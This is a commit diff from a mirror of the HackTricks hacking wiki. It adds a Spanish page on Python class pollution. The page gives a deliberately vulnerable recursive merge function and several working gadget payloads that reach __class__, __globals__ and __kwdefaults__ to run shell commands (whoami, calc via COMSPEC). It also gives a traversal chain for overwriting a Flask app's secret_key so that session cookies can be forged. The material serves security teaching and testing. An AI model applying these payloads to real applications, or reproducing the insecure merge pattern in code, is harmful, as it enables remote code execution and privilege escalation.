mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 20:53:37 +00:00
f
This commit is contained in:
parent
84b770497e
commit
6eb519a4a1
2 changed files with 277 additions and 0 deletions
|
@ -66,6 +66,7 @@
|
|||
* [Python Sandbox Escape & Pyscript](generic-methodologies-and-resources/python/README.md)
|
||||
* [Pyscript](generic-methodologies-and-resources/python/pyscript.md)
|
||||
* [Basic Python](generic-methodologies-and-resources/python/basic-python.md)
|
||||
* [Class Pollution (Python's Prototype Pollution)](generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md)
|
||||
* [venv](generic-methodologies-and-resources/python/venv.md)
|
||||
* [Web Requests](generic-methodologies-and-resources/python/web-requests.md)
|
||||
* [Bruteforce hash (few chars)](generic-methodologies-and-resources/python/bruteforce-hash-few-chars.md)
|
||||
|
|
|
@ -0,0 +1,276 @@
|
|||
# Contaminación de Clases (Prototype Pollution de Python)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Ejemplo Básico
|
||||
|
||||
Comprueba cómo es posible contaminar las clases de objetos con cadenas:
|
||||
```python
|
||||
class Company: pass
|
||||
class Developer(Company): pass
|
||||
class Entity(Developer): pass
|
||||
|
||||
c = Company()
|
||||
d = Developer()
|
||||
e = Entity()
|
||||
|
||||
print(c) #<__main__.Company object at 0x1043a72b0>
|
||||
print(d) #<__main__.Developer object at 0x1041d2b80>
|
||||
print(e) #<__main__.Entity object at 0x1041d2730>
|
||||
|
||||
e.__class__.__qualname__ = 'Polluted_Entity'
|
||||
|
||||
print(e) #<__main__.Polluted_Entity object at 0x1041d2730>
|
||||
|
||||
e.__class__.__base__.__qualname__ = 'Polluted_Developer'
|
||||
e.__class__.__base__.__base__.__qualname__ = 'Polluted_Company'
|
||||
|
||||
print(d) #<__main__.Polluted_Developer object at 0x1041d2b80>
|
||||
print(c) #<__main__.Polluted_Company object at 0x1043a72b0>
|
||||
```
|
||||
## Ejemplo Básico de Vulnerabilidad
|
||||
```python
|
||||
# Initial state
|
||||
class Employee: pass
|
||||
emp = Employee()
|
||||
print(vars(emp)) #{}
|
||||
|
||||
# Vulenrable function
|
||||
def merge(src, dst):
|
||||
# Recursive merge function
|
||||
for k, v in src.items():
|
||||
if hasattr(dst, '__getitem__'):
|
||||
if dst.get(k) and type(v) == dict:
|
||||
merge(v, dst.get(k))
|
||||
else:
|
||||
dst[k] = v
|
||||
elif hasattr(dst, k) and type(v) == dict:
|
||||
merge(v, getattr(dst, k))
|
||||
else:
|
||||
setattr(dst, k, v)
|
||||
|
||||
|
||||
USER_INPUT = {
|
||||
"name":"Ahemd",
|
||||
"age": 23,
|
||||
"manager":{
|
||||
"name":"Sarah"
|
||||
}
|
||||
}
|
||||
|
||||
merge(USER_INPUT, emp)
|
||||
print(vars(emp)) #{'name': 'Ahemd', 'age': 23, 'manager': {'name': 'Sarah'}}
|
||||
```
|
||||
## Ejemplos de Gadget
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Creando un valor predeterminado de propiedad de clase para RCE (subproceso)</summary>
|
||||
```python
|
||||
from os import popen
|
||||
class Employee: pass # Creating an empty class
|
||||
class HR(Employee): pass # Class inherits from Employee class
|
||||
class Recruiter(HR): pass # Class inherits from HR class
|
||||
|
||||
class SystemAdmin(Employee): # Class inherits from Employee class
|
||||
def execute_command(self):
|
||||
command = self.custom_command if hasattr(self, 'custom_command') else 'echo Hello there'
|
||||
return f'[!] Executing: "{command}", output: "{popen(command).read().strip()}"'
|
||||
|
||||
def merge(src, dst):
|
||||
# Recursive merge function
|
||||
for k, v in src.items():
|
||||
if hasattr(dst, '__getitem__'):
|
||||
if dst.get(k) and type(v) == dict:
|
||||
merge(v, dst.get(k))
|
||||
else:
|
||||
dst[k] = v
|
||||
elif hasattr(dst, k) and type(v) == dict:
|
||||
merge(v, getattr(dst, k))
|
||||
else:
|
||||
setattr(dst, k, v)
|
||||
|
||||
USER_INPUT = {
|
||||
"__class__":{
|
||||
"__base__":{
|
||||
"__base__":{
|
||||
"custom_command": "whoami"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
recruiter_emp = Recruiter()
|
||||
system_admin_emp = SystemAdmin()
|
||||
|
||||
print(system_admin_emp.execute_command())
|
||||
#> [!] Executing: "echo Hello there", output: "Hello there"
|
||||
|
||||
# Create default value for Employee.custom_command
|
||||
merge(USER_INPUT, recruiter_emp)
|
||||
|
||||
print(system_admin_emp.execute_command())
|
||||
#> [!] Executing: "whoami", output: "abdulrah33m"
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Contaminando otras clases y variables globales a través de <code>globals</code></summary>
|
||||
|
||||
</details>
|
||||
```python
|
||||
def merge(src, dst):
|
||||
# Recursive merge function
|
||||
for k, v in src.items():
|
||||
if hasattr(dst, '__getitem__'):
|
||||
if dst.get(k) and type(v) == dict:
|
||||
merge(v, dst.get(k))
|
||||
else:
|
||||
dst[k] = v
|
||||
elif hasattr(dst, k) and type(v) == dict:
|
||||
merge(v, getattr(dst, k))
|
||||
else:
|
||||
setattr(dst, k, v)
|
||||
|
||||
class User:
|
||||
def __init__(self):
|
||||
pass
|
||||
|
||||
class NotAccessibleClass: pass
|
||||
|
||||
not_accessible_variable = 'Hello'
|
||||
|
||||
merge({'__class__':{'__init__':{'__globals__':{'not_accessible_variable':'Polluted variable','NotAccessibleClass':{'__qualname__':'PollutedClass'}}}}}, User())
|
||||
|
||||
print(not_accessible_variable) #> Polluted variable
|
||||
print(NotAccessibleClass) #> <class '__main__.PollutedClass'>
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Ejecución arbitraria de subprocesos</summary>
|
||||
|
||||
</details>
|
||||
```python
|
||||
import subprocess, json
|
||||
|
||||
class Employee:
|
||||
def __init__(self):
|
||||
pass
|
||||
|
||||
def merge(src, dst):
|
||||
# Recursive merge function
|
||||
for k, v in src.items():
|
||||
if hasattr(dst, '__getitem__'):
|
||||
if dst.get(k) and type(v) == dict:
|
||||
merge(v, dst.get(k))
|
||||
else:
|
||||
dst[k] = v
|
||||
elif hasattr(dst, k) and type(v) == dict:
|
||||
merge(v, getattr(dst, k))
|
||||
else:
|
||||
setattr(dst, k, v)
|
||||
|
||||
# Overwrite env var "COMSPEC" to execute a calc
|
||||
USER_INPUT = json.loads('{"__init__":{"__globals__":{"subprocess":{"os":{"environ":{"COMSPEC":"cmd /c calc"}}}}}}') # attacker-controlled value
|
||||
|
||||
merge(USER_INPUT, Employee())
|
||||
|
||||
subprocess.Popen('whoami', shell=True) # Calc.exe will pop up
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Sobrescribiendo <strong><code>__kwdefaults__</code></strong></summary>
|
||||
|
||||
**`__kwdefaults__`** es un atributo especial de todas las funciones, según la [documentación](https://docs.python.org/3/library/inspect.html) de Python, es un "mapeo de cualquier valor predeterminado para parámetros **sólo de palabras clave**". La contaminación de este atributo nos permite controlar los valores predeterminados de los parámetros sólo de palabras clave de una función, estos son los parámetros de la función que vienen después de \* o \*args.
|
||||
```python
|
||||
from os import system
|
||||
import json
|
||||
|
||||
def merge(src, dst):
|
||||
# Recursive merge function
|
||||
for k, v in src.items():
|
||||
if hasattr(dst, '__getitem__'):
|
||||
if dst.get(k) and type(v) == dict:
|
||||
merge(v, dst.get(k))
|
||||
else:
|
||||
dst[k] = v
|
||||
elif hasattr(dst, k) and type(v) == dict:
|
||||
merge(v, getattr(dst, k))
|
||||
else:
|
||||
setattr(dst, k, v)
|
||||
|
||||
class Employee:
|
||||
def __init__(self):
|
||||
pass
|
||||
|
||||
def execute(*, command='whoami'):
|
||||
print(f'Executing {command}')
|
||||
system(command)
|
||||
|
||||
print(execute.__kwdefaults__) #> {'command': 'whoami'}
|
||||
execute() #> Executing whoami
|
||||
#> user
|
||||
|
||||
emp_info = json.loads('{"__class__":{"__init__":{"__globals__":{"execute":{"__kwdefaults__":{"command":"echo Polluted"}}}}}}') # attacker-controlled value
|
||||
merge(emp_info, Employee())
|
||||
|
||||
print(execute.__kwdefaults__) #> {'command': 'echo Polluted'}
|
||||
execute() #> Executing echo Polluted
|
||||
#> Polluted
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Sobrescribiendo la clave secreta de Flask en diferentes archivos</summary>
|
||||
|
||||
Entonces, si se puede hacer una contaminación de clase sobre un objeto definido en el archivo principal de Python de la web, pero **cuya clase está definida en un archivo diferente** al principal. Debido a que para acceder a \_\_globals\_\_ en los payloads anteriores, es necesario acceder a la clase del objeto o a los métodos de la clase, se podrá **acceder a los globales en ese archivo, pero no en el principal**. \
|
||||
Por lo tanto, **no se podrá acceder al objeto global de la aplicación Flask** que definió la **clave secreta** en la página principal:
|
||||
```python
|
||||
app = Flask(__name__, template_folder='templates')
|
||||
app.secret_key = '(:secret:)'
|
||||
```
|
||||
En este escenario necesitas un gadget para recorrer archivos y llegar al archivo principal para **acceder al objeto global `app.secret_key`** y cambiar la clave secreta de Flask para poder [**escalar privilegios** sabiendo esta clave](../../network-services-pentesting/pentesting-web/flask.md#flask-unsign).
|
||||
|
||||
Un payload como este [de este writeup](https://ctftime.org/writeup/36082):
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```python
|
||||
__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app.secret_key
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Utilice este payload para **cambiar `app.secret_key`** (el nombre en su aplicación puede ser diferente) para poder firmar cookies de flask con nuevos y más privilegios.
|
||||
|
||||
</details>
|
||||
|
||||
## Referencias
|
||||
|
||||
* [https://blog.abdulrah33m.com/prototype-pollution-in-python/](https://blog.abdulrah33m.com/prototype-pollution-in-python/)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
Loading…
Reference in a new issue